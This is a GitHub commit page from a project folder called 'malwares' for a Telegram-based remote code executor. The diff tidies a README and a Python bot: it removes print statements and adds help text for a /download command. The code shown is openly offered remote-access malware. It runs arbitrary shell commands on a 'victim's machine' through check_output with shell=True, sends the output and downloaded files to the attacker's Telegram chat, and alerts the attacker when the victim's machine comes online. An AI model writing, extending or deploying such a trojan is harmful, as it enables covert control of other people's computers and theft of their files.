Skip to content

Commit

Permalink
remove print statements from TRCE
Browse files Browse the repository at this point in the history
remove print statements from TRCE
fix typo in readme
add help for /download command
  • Loading branch information
dmdhrumilmistry committed Sep 14, 2021
1 parent d38eb47 commit 0e34923
Show file tree
Hide file tree
Showing 2 changed files with 3 additions and 7 deletions.
4 changes: 2 additions & 2 deletions malwares/TelegramRemoteCodeExecutor/HowToUse.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
|:-----:|:--------:|:-------: |
| /start | starts interaction with the bot and returns command issuer details | None |
| /help | returns help menu | None |
| /exec | executes command on vitcim's machine | **command** |
| /cd** | change current working directory to specified path | **path** |
| /exec | executes command on vitcim's machine | command |
| /cd** | change current working directory to specified path | path |
| /ls | list all the directories and folders in the current working directory | None |
| /download | download file from the victims machine to attacker's via telegram chat | relative or complete file path |
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@
/exec execute command on victim's machine
/cd <path> change directory
/ls list file and folders of current working directory
/download download file from the victims machine to attacker's via telegram chat
'''

bot = telebot.TeleBot(API_KEY)
Expand Down Expand Up @@ -81,12 +82,10 @@ def execute(message:tele_message):
return

cmd = message.text.split('/exec')[-1].strip()
print('command executed : ', cmd)
try:
result = check_output(cmd, shell=True).decode('utf-8')
except Exception as e:
result = f'Exception Occurred : {e}'
print(result)

bot.send_message(chat_id=CHAT_ID, text=result)

Expand Down Expand Up @@ -142,15 +141,12 @@ def download_file(message:tele_message):
bot.send_message(chat_id=CHAT_ID, text=f'[!] {file_path} does not exists.')



def start_bot():
'''
starts bot and informs hacker that victim's machine is up
'''
print('[*] Starting...')
inform_attacker()
bot.polling()
print('[!] Closing...')


if __name__ == '__main__':
Expand Down

0 comments on commit 0e34923

Please sign in to comment.